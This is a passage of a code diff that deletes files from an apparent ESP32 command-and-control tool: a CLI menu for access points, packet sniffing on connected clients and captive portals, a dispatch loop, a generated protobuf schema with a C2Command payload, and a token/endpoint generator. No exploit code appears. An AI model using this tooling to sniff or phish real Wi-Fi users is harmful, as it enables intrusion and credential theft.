(WIFI_SSID and PASSWORD are optional, default_SSID="ESP_32_WIFI_SSID")
|
|
||||||
stop ap -> Stop the access point on a specific client
|
|
||||||
list_clients -> List all connected clients on the access point
|
|
||||||
|
|
||||||
start sniffer -> Start packet sniffing on clients connected to the access point
|
|
||||||
stop sniffer -> Stop packet sniffing on clients connected to the access point
|
|
||||||
|
|
||||||
start captive_portal <WIFI_SSID> -> Start a server on a specific client
|
|
||||||
(WIFI_SSID is optional, default_SSID="ESP_32_WIFI_SSID")
|
|
||||||
stop captive_portal -> Stop the server on a specific client
|
|
||||||
|
|
||||||
"""
|
|
||||||
print(menu)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def _show_banner():
|
|
||||||
banner = rf"""
|
|
||||||
{_color('CYAN')}Authors : Eunous/grogore, itsoktocryyy, offpath, Wepfen, p2lu
|
|
||||||
|
|
||||||
___________
|
|
||||||
\_ _____/ ____________ |__| | ____ ____
|
|
||||||
| __)_ / ___/\____ \| | | / _ \ / \
|
|
||||||
| \\___ \ | |_> > | |_( <_> ) | \
|
|
||||||
/_______ /____ >| __/|__|____/\____/|___| /
|
|
||||||
\/ \/ |__| \/
|
|
||||||
|
|
||||||
=============== v 0.1 ==============={_color('RESET')}
|
|
||||||
"""
|
|
||||||
print(banner)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def cli_interface(self):
|
|
||||||
_show_banner()
|
|
||||||
_show_menu()
|
|
||||||
|
|
||||||
# def _cmd_start(parts):
|
|
||||||
# if len(parts) > 1 and parts[1] == "srv_video":
|
|
||||||
# start_cam_server()
|
|
||||||
|
|
||||||
|
|
||||||
# def _cmd_stop(parts):
|
|
||||||
# if len(parts) > 1 and parts[1] == "srv_video":
|
|
||||||
# stop_cam_server()
|
|
||||||
|
|
||||||
commands = {
|
|
||||||
"menu": lambda parts: _show_menu(),
|
|
||||||
"help": lambda parts: _show_menu(),
|
|
||||||
"send": lambda parts: _send_command(self, " ".join(parts)),
|
|
||||||
"list": lambda parts: _list_clients(self),
|
|
||||||
"clear": lambda parts: os.system('cls' if os.name == 'nt' else 'clear'),
|
|
||||||
"exit": lambda parts: self._shutdown(),
|
|
||||||
"reboot": lambda parts: self._handle_reboot(parts),
|
|
||||||
"add_group": lambda parts: self._handle_add_group(parts),
|
|
||||||
"list_groups": lambda parts: list_groups(self),
|
|
||||||
"remove_group": lambda parts: self._handle_remove_group(parts),
|
|
||||||
"remove_esp_from": lambda parts: self._handle_remove_esp_from(parts),
|
|
||||||
# "start": _cmd_start,
|
|
||||||
# "stop": _cmd_stop,
|
|
||||||
# "system_check": lambda parts: system_check(self),
|
|
||||||
}
|
|
||||||
|
|
||||||
while True:
|
|
||||||
choix = input(f"\n{_color('BLUE')}striker:> {_color('RESET')}").strip()
|
|
||||||
if not choix:
|
|
||||||
continue
|
|
||||||
|
|
||||||
parts = choix.split()
|
|
||||||
cmd = parts[0]
|
|
||||||
|
|
||||||
try:
|
|
||||||
if cmd in commands:
|
|
||||||
commands[cmd](parts)
|
|
||||||
else:
|
|
||||||
call(choix)
|
|
||||||
except Exception as e:
|
|
||||||
_print_status(f"Erreur: {str(e)}", "RED", "⚠")
|
|
||||||
@ -1,29 +0,0 @@
|
|||||||
# -*- coding: utf-8 -*-
|
|
||||||
# Generated by the protocol buffer compiler. DO NOT EDIT!
|
|
||||||
# source: espilon.proto
|
|
||||||
"""Generated protocol buffer code."""
|
|
||||||
from google.protobuf.internal import builder as _builder
|
|
||||||
from google.protobuf import descriptor as _descriptor
|
|
||||||
from google.protobuf import descriptor_pool as _descriptor_pool
|
|
||||||
from google.protobuf import symbol_database as _symbol_database
|
|
||||||
# @@protoc_insertion_point(imports)
|
|
||||||
|
|
||||||
_sym_db = _symbol_database.Default()
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\respilon.proto\x12\x07\x65spilon\"C\n\nESPMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\x12\x0b\n\x03log\x18\x04 \x01(\x0c\"\x1c\n\tC2Command\x12\x0f\n\x07payload\x18\x01 \x02(\t\"U\n\rESPLogMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x13\n\x0blog_message\x18\x03 \x01(\t\x12\x16\n\x0elog_error_code\x18\x04 \x01(\r')
|
|
||||||
|
|
||||||
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
|
|
||||||
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'espilon_pb2', globals())
|
|
||||||
if _descriptor._USE_C_DESCRIPTORS == False:
|
|
||||||
|
|
||||||
DESCRIPTOR._options = None
|
|
||||||
_ESPMESSAGE._serialized_start=26
|
|
||||||
_ESPMESSAGE._serialized_end=93
|
|
||||||
_C2COMMAND._serialized_start=95
|
|
||||||
_C2COMMAND._serialized_end=123
|
|
||||||
_ESPLOGMESSAGE._serialized_start=125
|
|
||||||
_ESPLOGMESSAGE._serialized_end=210
|
|
||||||
# @@protoc_insertion_point(module_scope)
|
|
||||||
@ -1,13 +0,0 @@
|
|||||||
import secrets
|
|
||||||
import hashlib
|
|
||||||
|
|
||||||
def generate_random_endpoint():
|
|
||||||
endpoint = f"/stream_{secrets.token_hex(4)}"
|
|
||||||
print(f"[+] Endpoint généré : {endpoint}")
|
|
||||||
return endpoint
|
|
||||||
|
|
||||||
def generate_token():
|
|
||||||
raw = secrets.token_bytes(8)
|
|
||||||
hashed = hashlib.sha256(raw).hexdigest()
|
|
||||||
print(f"[+] Bearer Token généré : {hashed}")
|
|
||||||
return hashed
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user